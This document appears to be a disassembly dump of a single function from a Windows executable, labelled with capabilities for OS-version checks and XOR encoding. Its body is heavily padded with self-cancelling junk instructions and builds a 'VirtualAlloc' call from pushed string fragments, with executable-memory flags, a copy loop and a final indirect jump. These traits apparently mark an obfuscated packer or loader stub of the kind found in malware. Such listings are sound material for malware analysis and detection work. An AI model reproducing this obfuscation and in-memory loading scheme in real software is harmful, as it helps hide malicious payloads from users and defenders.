Function at 0x40338f
Capabilities:
Check os version
Encode data using xor

Disassembly:
sub esp, 0x2d4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
inc eax
add byte [ecx - 0xe3dba4], cl
adc eax, sym.imp.KERNEL32.dll_SetErrorMode
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xbfffffff
cmp ax, 6
mov dword [0x47aeec], eax
je 0x4033df
push ebx
call fcn.00406694
cmp eax, ebx
je 0x4033df
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.00406624
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4033e4
not eax
mov eax, 0x21563d4b
test ecx, edx
jo 0x4033ac
xor dword [0x40a234], 0x2c243c34
call fcn.004014c2
inc esi
ror esi, 0xa
xor edx, dword [0x40a022]
mov ecx, ebp
mov dword [0x40a51f], ebx
sub eax, eax
or esi, edi
shl esi, 1
call fcn.004058a0
and esi, edi
not eax
or eax, eax
dec eax
shr edi, 1
inc eax
or ebx, 0x18702752
xor esi, eax
mov esi, eax
rol eax, 0x12
or dword [0x40a2fa], edi
mov ecx, 0x2fda20c
test eax, 0x55d6da8
jo 0x4034c8
xchg eax, eax
test ebp, esi
jo 0x403477
inc esi
xchg esi, eax
test edx, ebp
jo 0x4034e6
shr ebx, 0x17
loop 0x403455
ror esi, 0x1b
mov esi, esi
mov esi, 0xefad227
cli
push cs
dec esi
xchg eax, edx
add esi, esi
mov esi, dword [0x40a5b4]
neg edi
dec esi
rol eax, 0x1d
shr ecx, 4
rol edx, 4
and esi, 0x1860000
neg eax
mov edx, 0xf62512
rol edx, 0xf
mov ecx, 0x2532f9c
mov dword [0x40a064], esi
not eax
inc esi
ror eax, 1
shl eax, 8
test ebp, esp
jo 0x4034e6
xchg edi, eax
mov ebx, dword [0x40a0ae]
rol eax, 0x12
loop 0x4034a5
mov ecx, 0x1101af56
add dword [ecx], edx
xor edi, esi
neg esi
rol esi, 0x1d
sub eax, 0xbdd5d08
not edx
rol esi, 1
or dword [0x40a2c0], edx
dec edx
and esi, edi
mov esi, dword [0x40a1aa]
xor eax, 0x40a1aa
sub esi, eax
or esi, edi
sub edi, dword [0x40a384]
xor ecx, esp
mov eax, 0x19f3f2
add esi, eax
rol edx, 0x19
mov esi, dword [str..tmp]
or eax, 0x71741a
and esi, edi
add esi, edx
inc eax
mov esi, dword [0x40a478]
xchg eax, esi
not ecx
inc eax
test ecx, ebp
jo 0x40359e
not esi
inc ecx
and esi, edi
mov eax, eax
add esi, 0x13837fcb
sub edx, esi
adc dword [ebx], 0x2b
salc
mov esi, dword [0x40a405]
xor eax, edx
not esi
xor edi, ecx
inc ecx
xor ebx, eax
rol eax, 0x14
shr ecx, 0x1c
sub ebx, dword [0x40a414]
fadd st(1)
rcl byte [ecx + eax*8], 0xe9
sbb al, 0x2b
sbb eax, 0x40a414
mov esi, eax
test esp, edx
jo 0x40352c
mov ebx, 0x22add50
xor edi, eax
xor eax, eax
test eax, ecx
jb 0x40350d
sub edx, ebp
xor esi, 0x1cd7420
not eax
shr esi, 0x1d
add eax, edx
xor ecx, eax
xchg edx, eax
mov ecx, 0x253a8930
not eax
shr eax, 0xd
sub dword [0x40a294], ebx
not edx
shl edx, 0x11
test eax, esp
jo 0x40353e
mov dword [0x40a303], 0x60bfe20
mov dword [0xfe200040], eax
or eax, dword [esi]
neg esi
shl esi, 9
call fcn.0040607f
inc esi
shr edi, 0xa
inc esi
loop 0x403576
dec esi
shr eax, 5
xor esi, eax
not esi
mov edx, edx
sub esi, eax
dec edx
or esi, edi
and esi, edi
xor esi, eax
add eax, esi
call fcn.004058a0
mov esi, eax
mov edi, edi
mov esi, eax
xchg edx, eax
mov eax, 0x10d1e36a
add esi, eax
shr edx, 0xa
dec eax
add esi, eax
neg eax
xor esi, 0x2d505040
dec ecx
sub eax, 0x1d411f0
and dword [0x40a1d9], 0x15f17b28
or edx, 0x11eae4a8
add eax, ecx
add esi, 0x32465dc
and esi, edi
test esi, eax
jo 0x40358d
call fcn.004014c2
xor eax, 0x73561e9
fdivp st(7)
inc dword [ecx + 0x3561e9f0]
pop es
ror esi, 0xe
test esi, 0xe0cb157
jb 0x403603
push str.KERNEL32.dll
inc esi
xchg ebx, eax
xor esi, eax
xor esi, eax
and dword [0x40a4de], ebx
xor edi, ecx
not ebx
call fcn.004058a0
xor esi, eax
add esi, edi
mov dword [0x40a359], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc esi
ror esi, 0x17
or dword [str.SetDefaultDllDirectories], ecx
xchg eax, esi
mov dword [0x40a34a], 0xb0a3068
ror edx, 4
dec edi
xor eax, ebp
ror edx, 0x18
xor esi, 0x221a7ce
dec edx
mov dword [0x40a0b4], esi
inc edx
xor esi, 0x221a7ce
rol edx, 0x18
xor eax, ebp
inc edi
rol edx, 4
sub dword [0x40a0a4], 0x13bc3030
xchg eax, esi
mov dword [0x40a4c8], ebx
rol esi, 0x17
dec esi
push 0
rol eax, 0x15
or dword [0x40a167], ecx
call fcn.00403375
sub esi, eax
mov dword [0x40a1a0], 0xd96f7d
xor edx, eax
xchg esi, eax
rol ebx, 7
dec esi
not edi
ror eax, 0xb
xor esi, esp
inc eax
mov dword [0x40a4cc], ecx
xor eax, edi
ror ebx, 0x19
xor eax, 0x6e6b0b0
call fcn.00402e99
mov dword [0x40a414], 0x19333218
mov dword [0x40a27e], 0xc249f3
call fcn.00402780
xor eax, 0x6e6b0b0
rol ebx, 0x19
xor eax, edi
or dword [0x40a3c0], ecx
dec eax
xor esi, esp
rol eax, 0xb
not edi
inc esi
ror ebx, 7
xchg esi, eax
xor edx, eax
xor dword [0x40a0fd], 0x65ceaa4
add esi, eax
call fcn.00403375
sub dword [0x40a2b3], esi
ror eax, 0x15
push 0x636f6c6c
or dword [0x40a0c8], esi
xor esi, eax
mov dword [0x40a3c8], 0x2ebe62b
xchg esi, eax
call fcn.00402569
xor dword [0x40a578], ecx
xchg edx, eax
ror eax, 5
add esi, eax
dec esi
inc esi
sub esi, eax
rol eax, 5
xchg edx, eax
xor dword [0x40a2b3], ecx
xchg esi, eax
or dword [0x40a480], 0x31efa06
xor esi, eax
or dword [0x40a020], esi
push 0x416c6175
xor eax, esp
call fcn.00404da3
sub dword [0x40a2e2], edi
ror esi, 0xe
xor dword [0x40a22b], esi
and dword [str.GetUserDefaultUILanguage], 0x193cad4f
rol esi, 0xf
xor dword [0x40a1c8], 0x1ef13208
dec esi
and dword [0x40a0a7], ecx
call fcn.00402075
xor esi, eax
xor dword [0x40a43e], edi
call fcn.00406842
not esi
call fcn.00404da3
rol eax, 0xc
inc ecx
not esi
dec edi
xor esi, 0x108b3b66
not eax
not eax
xor esi, 0x108b3b66
inc edi
not esi
dec ecx
ror eax, 0xc
call fcn.004059df
not esi
call fcn.004014c2
mov dword [str....__d__], ecx
xor esi, eax
call fcn.0040218a
or dword [0x40a2ef], esi
inc esi
ror esi, 0xf
xor dword [str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.], 0x259f342
rol esi, 0xe
sub dword [section..data], ecx
call fcn.00404da3
xor eax, esp
push 0x74726956
sub ebx, esp
call fcn.004050ba
dec eax
xor dword [0x40a288], ebx
ror edi, 5
or dword [0x40a502], edi
xor esi, eax
not esi
xor esi, eax
sub edx, esp
mov dword [0x40a0e9], 0xe517b58
add esi, 0xf190a8
call fcn.00401b81
sub esi, eax
dec edx
not eax
xor ebx, eax
xor ebx, eax
not eax
inc edx
add esi, eax
call fcn.00404da3
sub esi, 0xf190a8
add edx, esp
xor esi, eax
not esi
xor esi, eax
or dword [0x40a358], edi
rol edi, 5
inc eax
add ebx, esp
push esp
not esi
add edi, 0x4a00940
xor edx, 0x17a763d
xor edx, 0x1fbb20b4
neg esi
xor eax, 0x2963d6db
xchg edi, eax
sub esi, ebp
ror eax, 8
xor edi, 0x1c885398
xor edi, 0x1c885398
rol eax, 8
add esi, ebp
xchg edi, eax
xor eax, 0x2963d6db
neg esi
xor edx, 0x1fbb20b4
xor edx, 0x17a763d
sub edi, 0x4a00940
not esi
push eax
mov dword [0x40a5ab], edx
xchg esi, esi
xor dword [0x40a5be], ebx
inc edi
ror edx, 3
call fcn.004059df
sub dword [0x40a23e], 0x15719b9a
not edi
call fcn.004014c2
not eax
mov dword [0x40a1ed], 0x12a48380
dec eax
xor eax, ebp
xor ebx, 0xbf88f38
call fcn.00404da3
and dword [0x40a36c], 0x1ee9e8fc
rol esi, 4
dec esi
call fcn.004050ba
neg eax
neg eax
call fcn.00402c40
inc esi
ror esi, 4
mov dword [0x40a2c4], 0x1111bd60
adc dword [ecx - 0x770c70d], eax
or esi, dword [ebx]
lds eax, [eax - 9]
shr al, 1
and eax, 0xf7ffffee
xlatb
call fcn.004014c2
rol edx, 3
dec edi
xchg esi, esi
mov dword [0x40a3d5], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, eax
xchg eax, esi
ror edi, 0x1f
xor dword [0x40a040], edi
xor ebx, edx
call fcn.0040607f
sub ecx, edx
xor edx, 0xded6539
mov dword [str.VerQueryValueW], esi
xor dword [0x40a1eb], ecx
not esi
mov dword [0x40a1b2], ecx
ror esi, 0x19
xor eax, 0x1ed4c98
xor eax, 0x1ed4c98
rol esi, 0x19
mov dword [str.SHELL32], ebx
not esi
xor edx, 0xded6539
add ecx, edx
xor ebx, edx
mov dword [0x40a10f], ecx
rol edi, 0x1f
xchg eax, esi
xor esi, eax
add esp, 0x10
add ecx, eax
xor edx, eax
neg edi
call fcn.00401b81
not edx
ror esi, 6
dec esi
xor esi, 0x9ba348
or dword [0x40a276], 0x8009400
dec esi
ror esi, 0x19
xchg esi, eax
call fcn.00402e99
not esi
xor edx, 0xc61420
not esi
sub dword [str.SHLWAPI], ecx
call fcn.0040607f
not eax
not eax
call fcn.00401f42
mov dword [0x40a39f], ebx
not esi
xor edx, 0xc61420
not esi
call fcn.00402c40
xchg esi, eax
rol esi, 0x19
inc esi
xor esi, 0x9ba348
inc esi
rol esi, 6
not edx
neg edi
xor edx, eax
sub ecx, eax
push 0x40
call fcn.00404da3
inc ecx
call fcn.00404da3
xor ecx, edx
mov dword [0x40a49f], 0x1ee3972
inc esi
neg esi
xor eax, esi
call fcn.00402780
mov dword [0x40a250], esi
add dword [str..tmp], edx
call fcn.004014c2
xor eax, esi
neg esi
dec esi
mov dword [0x40a2e9], 0x5e74bdb
xor ecx, edx
dec ecx
push 0x3000
sub edx, esp
dec edi
xor dword [0x40a30b], 0x9fe84c4
rol edx, 6
add eax, 0x34a9d1b
mov dword [0x40a344], 0x7e3f1b3
rol esi, 0x17
xor edi, edx
mov dword [0x40a00c], 0x44725f2
call fcn.004053b8
xor dword [0x40a4b0], ecx
mov dword [0x40a2c0], ebx
call fcn.004050fe
xor dword [0x40a042], 0x23300ef8
xor edi, edx
ror esi, 0x17
mov dword [str.GetFileVersionInfoW], 0x160d224b
sub eax, 0x34a9d1b
ror edx, 6
mov dword [str.SetDefaultDllDirectories], 0xd173576
inc edi
add edx, esp
push 0x892
sub edx, 0xe72c85
mov dword [0x40a580], 0x5193396
call fcn.00402064
xor esi, eax
and dword [0x40a11d], 0x11814040
or dword [0x40a0a7], 0x32576c
xor ebx, 0x1c1bc7af
call fcn.00401b81
sub ebx, esi
call fcn.004017ca
mov dword [0x40a4da], 0x37b7ad0
call fcn.00402e99
call fcn.00402411
add ebx, esi
xor ebx, 0x1c1bc7af
mov dword [0x40a4b8], 0x1525a08
mov dword [0x40a070], 0x1f6e3960
xor esi, eax
call fcn.00401920
and dword [0x40a436], 0x175a06
add edx, 0xe72c85
push 0
neg esi
sub dword [0x40a278], 0x14182f6
or dword [0x40a548], ebx
xor edx, eax
mov dword [0x40a102], 0x3b3495b0
neg eax
add edx, 0xf7d6ff2
or dword [0x40a11d], 0x510afa6
not edx
xchg esi, eax
xor edi, esi
dec edx
add eax, 0x2aac52d1
call fcn.00404da3
sub ecx, esp
add ecx, esp
sub eax, 0x2aac52d1
inc edx
xor edi, esi
xchg esi, eax
not edx
sub edx, 0xf7d6ff2
neg eax
mov dword [0x40a458], 0x12c57af8
xor edx, eax
mov dword [0x40a3e1], edi
mov dword [0x40a126], 0x180baedc
neg esi
call eax
call fcn.00401f42
xor dword [0x40a3fa], 0x6856550
inc esi
mov dword [str.KERNEL32], 0x2ba7bee
ror eax, 0xc
xor dword [0x40a28b], 0xb8e568
rol eax, 0x17
inc edx
neg eax
xor edi, eax
xor edi, eax
neg eax
dec edx
ror eax, 0x17
rol eax, 0xc
dec esi
call 0x403c54
ror esi, 0x19
xor esi, 0x353427c
neg esi
ror edx, 0x14
mov dword [0x40a0d8], 0x20bff6a0
sub esi, 0x1020d289
not edx
xor esi, eax
or dword [0x40a041], ecx
call fcn.00404da3
add edi, ecx
sub edi, ecx
call fcn.0040160d
xor esi, eax
not edx
add esi, 0x1020d289
rol edx, 0x14
neg esi
xor esi, 0x353427c
rol esi, 0x19
pop esi
mov dword [0x40a10a], ecx
inc esi
call fcn.00406842
rol esi, 0x17
xchg edx, eax
call fcn.00404da3
xor ecx, edi
dec ebx
xor edi, 0x22675364
inc eax
mov dword [0x40a31e], ecx
not eax
xchg eax, esi
xor dword [0x40a324], edx
call fcn.00401920
xor ecx, edx
xchg esi, eax
xchg esi, eax
xor ecx, edx
call fcn.0040607f
add dword [0x40a225], ecx
xchg eax, esi
not eax
mov dword [0x40a332], esi
dec eax
xor edi, 0x22675364
inc ebx
xor ecx, edi
call fcn.00406842
xchg edx, eax
ror esi, 0x17
dec esi
add esi, 0x2cc
dec eax
xor ecx, ebx
not edx
xor dword [0x40a3c2], edx
xchg eax, eax
xor eax, edx
add esi, eax
xor edx, esp
rol eax, 0xe
mov dword [0x40a053], esi
inc eax
call fcn.00406a00
ror eax, 0x1b
neg edx
xor ebx, 0x1f0fba50
xchg esi, edx
xor ecx, esp
xor esi, eax
xchg eax, eax
dec edi
inc edi
xchg eax, eax
xor esi, eax
xor ecx, esp
xchg esi, edx
xor ebx, 0x1f0fba50
neg edx
rol eax, 0x1b
call fcn.00402311
dec eax
ror eax, 0xe
xor edx, esp
sub esi, eax
xor eax, edx
xchg eax, eax
not edx
xor ecx, ebx
inc eax
mov edi, eax
add dword [0x40a300], 0x17d13df1
rol eax, 0x1f
sub dword [0x40a2ce], ebx
dec eax
not edx
xor eax, 0x25b0aa0c
xchg esi, eax
inc esi
ror edx, 0x12
xor dword [0x40a330], 0x295a2b6f
mov dword [0x40a06c], 0x21122b9
not eax
xor esi, eax
xchg ebx, esi
call fcn.00401920
or dword [str.KERNEL32], ecx
add edx, esp
sub edx, esp
call fcn.00406842
xchg ebx, esi
xor esi, eax
not eax
sub dword [0x40a28e], 0x21e8929
add dword [0x40a268], 0x6899fd0
rol edx, 0x12
dec esi
xchg esi, eax
xor eax, 0x25b0aa0c
not edx
inc eax
sub dword [0x40a5b0], ecx
ror eax, 0x1f
mov ecx, 0x892
xor edx, edi
inc esi
rol esi, 0x17
xor dword [0x40a3ae], ecx
rol esi, 6
add ecx, 0x849870
xchg esi, edx
ror eax, 0xb
xor dword [0x40a28e], 0x2903970
sub esi, edx
call fcn.00404da3
add edi, edx
sub edi, edx
call fcn.00406842
add esi, edx
sub dword [0x40a5b2], 0x151ceab6
rol eax, 0xb
xchg esi, edx
sub ecx, 0x849870
ror esi, 6
ror esi, 0x17
dec esi
xor edx, edi
rep movsb byte es:[edi], byte [esi]
xor edi, esp
xor edx, eax
dec esi
xor esi, 0xac382c
xor eax, esi
add eax, ebx
not ecx
inc ebx
neg ebx
inc edx
and dword [0x40a4b0], 0x14e71b6
inc eax
call fcn.00401da6
sub esi, eax
sub dword [0x40a2a7], ecx
or dword [0x40a360], edx
xor ebx, 0x31712a
xor dword [0x40a3db], ecx
xor eax, esi
xor eax, esi
xor dword [0x40a528], esi
xor ebx, 0x31712a
mov dword [0x40a4b6], edi
xor dword [0x40a09f], ecx
add esi, eax
dec eax
and dword [0x40a007], 0x3475029
dec edx
neg ebx
dec ebx
not ecx
sub eax, ebx
xor eax, esi
xor esi, 0xac382c
inc esi
xor edx, eax
xor edi, esp
jmp eax